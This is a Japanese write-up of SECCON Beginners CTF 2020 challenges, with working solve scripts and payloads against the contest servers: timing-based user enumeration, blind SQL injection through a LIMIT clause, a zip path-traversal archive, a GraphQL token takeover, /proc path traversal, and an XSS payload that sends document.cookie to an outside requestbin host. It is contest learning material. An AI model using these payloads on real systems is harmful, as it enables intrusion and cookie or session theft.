SECCON Beginners CTF 2020 Writeup
noranecoチームは未参加のため、いつもと違うチームで参加。
Web問を中心に解いた。
色々な方がwriteupを書いてくれると思うので簡易的なwriteupにとどめる。
Web
Spy
DBに存在するユーザを特定すれば勝ち。
ソースコードを読むと、nameを条件にDBからユーザを検索して、存在しない場合は終了し、存在する場合は後続でパスワードのハッシュを計算する処理がある。よって、ユーザの存在有無でレスポンス時間に差異が生まれる。ご丁寧にも、処理時間をレスポンスに含めてくれている。
$ for u in `cat employees.txt`; do echo $u ;curl https://spy.quals.beginners.seccon.jp/ -d "name=$u&password=hoge" -s | grep "It took"; done Arthur <p style="font-size: 12px; color: #aaaaaa;">It took 0.0002787 sec to load this page.</p> Barbara <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003148 sec to load this page.</p> Christine <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003008 sec to load this page.</p> David <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003564 sec to load this page.</p> Elbert <p style="font-size: 12px; color: #aaaaaa;">It took 0.3527238 sec to load this page.</p> Franklin <p style="font-size: 12px; color: #aaaaaa;">It took 0.0002318 sec to load this page.</p> George <p style="font-size: 12px; color: #aaaaaa;">It took 0.4679147 sec to load this page.</p> Harris <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003867 sec to load this page.</p> Ivan <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003446 sec to load this page.</p> Jane <p style="font-size: 12px; color: #aaaaaa;">It took 0.0002919 sec to load this page.</p> Kevin <p style="font-size: 12px; color: #aaaaaa;">It took 0.0006480 sec to load this page.</p> Lazarus <p style="font-size: 12px; color: #aaaaaa;">It took 0.4976170 sec to load this page.</p> Marc <p style="font-size: 12px; color: #aaaaaa;">It took 0.3256018 sec to load this page.</p> Nathan <p style="font-size: 12px; color: #aaaaaa;">It took 0.0002081 sec to load this page.</p> Oliver <p style="font-size: 12px; color: #aaaaaa;">It took 0.0002898 sec to load this page.</p> Paul <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003184 sec to load this page.</p> Quentin <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003119 sec to load this page.</p> Randolph <p style="font-size: 12px; color: #aaaaaa;">It took 0.0002607 sec to load this page.</p> Scott <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003556 sec to load this page.</p> Tony <p style="font-size: 12px; color: #aaaaaa;">It took 0.3267539 sec to load this page.</p> Ulysses <p style="font-size: 12px; color: #aaaaaa;">It took 0.0002503 sec to load this page.</p> Vincent <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003067 sec to load this page.</p> Wat <p style="font-size: 12px; color: #aaaaaa;">It took 0.0002440 sec to load this page.</p> Ximena <p style="font-size: 12px; color: #aaaaaa;">It took 0.6319789 sec to load this page.</p> Yvonne <p style="font-size: 12px; color: #aaaaaa;">It took 0.5589504 sec to load this page.</p> Zalmon <p style="font-size: 12px; color: #aaaaaa;">It took 0.0002911 sec to load this page.</p>
処理時間の長いユーザを入力してフラグゲット。
Tweetstore
dbのcurrent_userを取得できれば勝ち。 SQLiの問題。
searchパラメータとlimitパラメータを入力可能。 searchパラメータは'記号がエスケープされてwhere句にセットされるが、limitパラメータはエスケープされずにlimit句へセットされる。 limit句にcurrent_userのASCIIコード値をセットして、返ってくる件数を観察することで1文字ずつ特定可能。
import requests URL = "https://tweetstore.quals.beginners.seccon.jp/" flag = "" for i in range(50): r = requests.get( URL, params = { "search":"", "limit":"ascii(substr(current_user,{},1))-48".format(len(flag)+1) }, ) count = r.text.count("Watch@Twitter") flag += chr(count + 48) print(flag)
$ python solve.py c ct ctf ctf4 ctf4b (snip) ctf4b{is_postgres_your_friend?}
unzip
ディレクトリトラバーサルするzipファイルを作るだけ。
$ wget https://raw.githubusercontent.com/ptoomey3/evilarc/master/evilarc.py $ touch flag.txt $ python evilarc.py -d 3 -o unix flag.txt $ unzip -l evil.zip Archive: evil.zip Length Date Time Name --------- ---------- ----- ---- 0 2020-05-23 17:32 ../../../flag.txt --------- ------- 0 1 file
アップロードしてアクセスするとフラグゲット
ctf4b{y0u_c4nn07_7ru57_4ny_1npu75_1nclud1n6_z1p_f1l3n4m35}
profiler
graphql injectionの問題。
# curl https://profiler.quals.beginners.seccon.jp/api -H "content-type: application/json" -d '{"query":"query {__type (name: \"Query\") {name fields{name type{name kind ofType{name kind}}}}}"}' -s | jq { "data": { "__type": { "fields": [ { "name": "me", "type": { "kind": "NON_NULL", "name": null, "ofType": { "kind": "OBJECT", "name": "User" } } }, { "name": "someone", "type": { "kind": "OBJECT", "name": "User", "ofType": null } }, { "name": "flag", "type": { "kind": "NON_NULL", "name": null, "ofType": { "kind": "SCALAR", "name": "String" } } } ], "name": "Query" } }
someoneクエリがある。 adminの情報を取得してみる。
# curl https://profiler.quals.beginners.seccon.jp/api -H "content-type: application/json" -d '{"query":"query {someone(uid: \"admin\") {uid,token}}"}' -s | jq { "data": { "someone": { "token": "743fb96c5d6b65df30c25cefdab6758d7e1291a80434e0cdbb157363e1216a5b", "uid": "admin" } } }
以下を参考にスキーマを取得。
PayloadsAllTheThings/GraphQL Injection at master · swisskyrepo/PayloadsAllTheThings · GitHub
updateTokenが存在。自分のTokenをadminのtokenに変更する。
その後、FLAGの画面からフラグゲット。
Somen
まず、security.jsのロードをbaseタグで妨害。
CSPにstrict-dynamicが設定されていると、nonceが適切に設定されたscriptタグ内からロードされるスクリプトの実行は許可されるため、idがmessageのscriptタグを作って差し込んでもらう。
location.href="http://requestbin.net/r/1jban181?"+document.cookie; //</title><base href="http://example.com/"><script id="message"></script>
Crypt
R&B
先頭1文字削りながらBASE64とROT13を繰り返すだけ。
Reversing
ghost
$ echo ctf4b{AAAA} | gs -c "/flag 64 string def /output 8 string def (%stdin) (r) file flag readline not { (I/O Error\n) print quit } if 0 1 2 index length { 1 index 1 add 3 index 3 index get xor mul 1 463 { 1 index mul 64711 mod } repeat exch pop dup output cvs print ( ) print 128 mod 1 add exch 1 add exch } repeat (\n) print quit" GPL Ghostscript 9.52 (2020-03-19) Copyright (C) 2020 Artifex Software, Inc. All rights reserved. This software is supplied under the GNU AGPLv3 and comes with NO WARRANTY: see the file COPYING for details. 3417 61039 39615 14756 10315 49836 8453 13295 12034 59378 12638
最初のctf4b{の部分が、与えられたoutput.txtの最初と一致することがわかったので、あとは1文字ずつつ探していく。
import subprocess import string correct = open("output.txt").read() flag = "ctf4b{" while True: found = False for c in '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&()*+,-./:;<=>?@[]^_`{|}~ ': cmd1 = "echo '{}'".format(flag + c) cmd2 = "| gs -c '/flag 64 string def /output 8 string def (%stdin) (r) file flag readline not { (I/O Error\n) print quit } if 0 1 2 index length { 1 index 1 add 3 index 3 index get xor mul 1 463 { 1 index mul 64711 mod } repeat exch pop dup output cvs print ( ) print 128 mod 1 add exch 1 add exch } repeat (\n) print quit'" cmd = cmd1 + cmd2 result = subprocess.check_output(cmd, shell=True).decode("utf-8").split("\n")[4] #print(correct) #print(result) if result in correct: flag = flag + c print(flag) found = True break if found: continue else: print(flag) exit(0)
$ python3 solve.py ctf4b{s (snip) ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f_fun!}
Reversingを一切しておらず、出題者に申し訳ない気持ちしかない。
Misc
readme
/proc/self/environ
を確認すると、/home/ctf/server
で実行されていることがわかる。
よって、/proc/self/cwd
から親ディレクトリを辿ればよい。
$ nc readme.quals.beginners.seccon.jp 9712 File: /proc/self/cwd/../flag ctf4b{m4g1c4l_p0w3r_0f_pr0cf5}